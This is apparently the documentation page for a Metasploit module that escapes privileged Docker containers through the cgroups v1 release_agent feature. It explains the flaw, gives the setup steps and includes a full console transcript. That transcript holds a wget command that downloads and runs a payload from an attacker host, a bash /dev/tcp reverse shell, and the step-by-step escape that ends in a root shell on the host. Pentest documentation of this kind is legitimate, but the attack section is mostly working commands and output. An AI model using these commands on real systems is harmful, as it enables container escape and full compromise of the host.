## Vulnerable Application This exploit module takes advantage of a Docker image which has either the privileged flag, or SYS_ADMIN Linux capability. If the host kernel is vulnerable, its possible to escape the Docker image and achieve root on the host operating system. A vulnerability was found in the Linux kernel's `cgroup_release_agent_write` in the `kernel/cgroup/cgroup-v1.c` function. This flaw, under certain circumstances, allows the use of the cgroups v1 `release_agent` feature to escalate privileges and bypass the namespace isolation unexpectedly. More simply put, cgroups v1 has a feature called `release_agent` that runs a program when a process in the cgroup terminates. If `notify_on_release` is enabled, the kernel runs the `release_agent` binary as root. By editing the release_agent file, an attacker can execute their own binary with elevated privileges, taking control of the system. However, the `release_agent` file is owned by root, so only a user with root access can modify it. ### Docker Setup `sudo docker run --rm -it --privileged ubuntu:20.04 bash` or `sudo docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu:20.04 bash` You may want to install `wget` to make initial exploitation easier as well: ``` apt-get update apt-get install -y wget ``` ## Verification Steps 1. Install Docker and start a docker container 2. Start msfconsole 3. Get a shell on the docker image as root. 4. Do: `use exploit/linux/local/docker_cgroup_escape` 5. Do: `set lhost [ip]` 6. Do: `set session [#]` 7. Do: `run` 8. You should get a root shell on the host OS. ## Options ## Scenarios ### Ubuntu 18.04 LTS with 4.15.0-96-generic kernel and Docker Ubuntu 20.04 Initial Access ``` resource (docker.rb)> use exploit/multi/script/web_delivery [*] Using configured payload python/meterpreter/reverse_tcp resource (docker.rb)> set lhost 1.1.1.1 lhost => 1.1.1.1 resource (docker.rb)> set srvport 8181 srvport => 8181 resource (docker.rb)> set target 7 target => 7 resource (docker.rb)> set payload payload/linux/x64/meterpreter/reverse_tcp payload => linux/x64/meterpreter/reverse_tcp resource (docker.rb)> run [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 1.1.1.1:4444 [*] Using URL: http://1.1.1.1:8181/QZWpVr8t [*] Server started. [*] Run the following command on the target machine: wget -qO dLFtachL --no-check-certificate http://1.1.1.1:8181/QZWpVr8t; chmod +x dLFtachL; ./dLFtachL& disown [msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > [*] 2.2.2.2 web_delivery - Delivering Payload (250 bytes) [*] Sending stage (3045380 bytes) to 2.2.2.2 [*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:60288) at 2023-11-28 13:38:39 -0500 [msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1 [*] Starting interaction with 1... (Meterpreter 1)(/) > getuid Server username: root (Meterpreter 1)(/) > sysinfo Computer : 172.17.0.2 OS : Ubuntu 20.04 (Linux 4.15.0-96-generic) Architecture : x64 BuildTuple : x86_64-linux-musl Meterpreter : x64/linux ``` Exploit the Docker Escape ``` [msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/local/docker_cgroup_escape [*] Using configured payload cmd/unix/reverse_bash [msf](Jobs:1 Agents:1) exploit(linux/local/docker_cgroup_escape) > set lhost 1.1.1.1 lhost => 1.1.1.1 [msf](Jobs:1 Agents:1) exploit(linux/local/docker_cgroup_escape) > set lport 9988 lport => 9988 [msf](Jobs:1 Agents:1) exploit(linux/local/docker_cgroup_escape) > set verbose true verbose => true [msf](Jobs:1 Agents:1) exploit(linux/local/docker_cgroup_escape) > set session 1 session => 1 [msf](Jobs:1 Agents:1) exploit(linux/local/docker_cgroup_escape) > run [+] bash -c '0<&181-;exec 181<>/dev/tcp/1.1.1.1/9988;sh <&181 >&181 2>&181' [*] Started reverse TCP handler on 1.1.1.1:9988 [*] Running automatic check ("set AutoCheck false" to disable) [*] Unable to determine host OS, this check method is unlikely to be accurate if the host isn't Ubuntu [+] The target is vulnerable. IF host OS is Ubuntu, kernel version 4.15.0-96-generic is vulnerable [*] Creating folder for mount: /tmp/eH7EY [*] Creating directory /tmp/eH7EY [*] /tmp/eH7EY created [*] Mounting cgroup [*] Creating folder in cgroup for exploitation: /tmp/eH7EY/qe0oj7G [*] Creating directory /tmp/eH7EY/qe0oj7G [*] /tmp/eH7EY/qe0oj7G created [*] Enabling notify on release for group qe0oj7G [*] Determining the host OS path for image [*] Host OS path for image: /var/lib/docker/overlay2/c8b82079007d1f6dcf042787cd450ffe045595be11c29ca5b119d1802cfaa22f/diff [*] Setting release_agent path to: /var/lib/docker/overlay2/c8b82079007d1f6dcf042787cd450ffe045595be11c29ca5b119d1802cfaa22f/diff/tmp/KksBaCbF [*] Uploading payload to /tmp/KksBaCbF [*] Writing '/tmp/KksBaCbF' (88 bytes) ... [*] Triggering payload with command: sh -c "echo $$ > /tmp/eH7EY/qe0oj7G/cgroup.procs" [*] Command shell session 2 opened (1.1.1.1:9988 -> 2.2.2.2:54990) at 2023-11-28 14:39:10 -0500 [*] Cleanup: Unmounting /tmp/eH7EY FDjfSpoVnqvGmrtBOSRfABBgFMmcSkbT id uid=0(root) gid=0(root) groups=0(root) cat /etc/os-release NAME="Ubuntu" VERSION="18.04 LTS (Bionic Beaver)" ID=ubuntu ID_LIKE=debian PRETTY_NAME="Ubuntu 18.04 LTS" VERSION_ID="18.04" HOME_URL="https://www.ubuntu.com/" SUPPORT_URL="https://help.ubuntu.com/" BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/" PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy" VERSION_CODENAME=bionic UBUNTU_CODENAME=bionic ```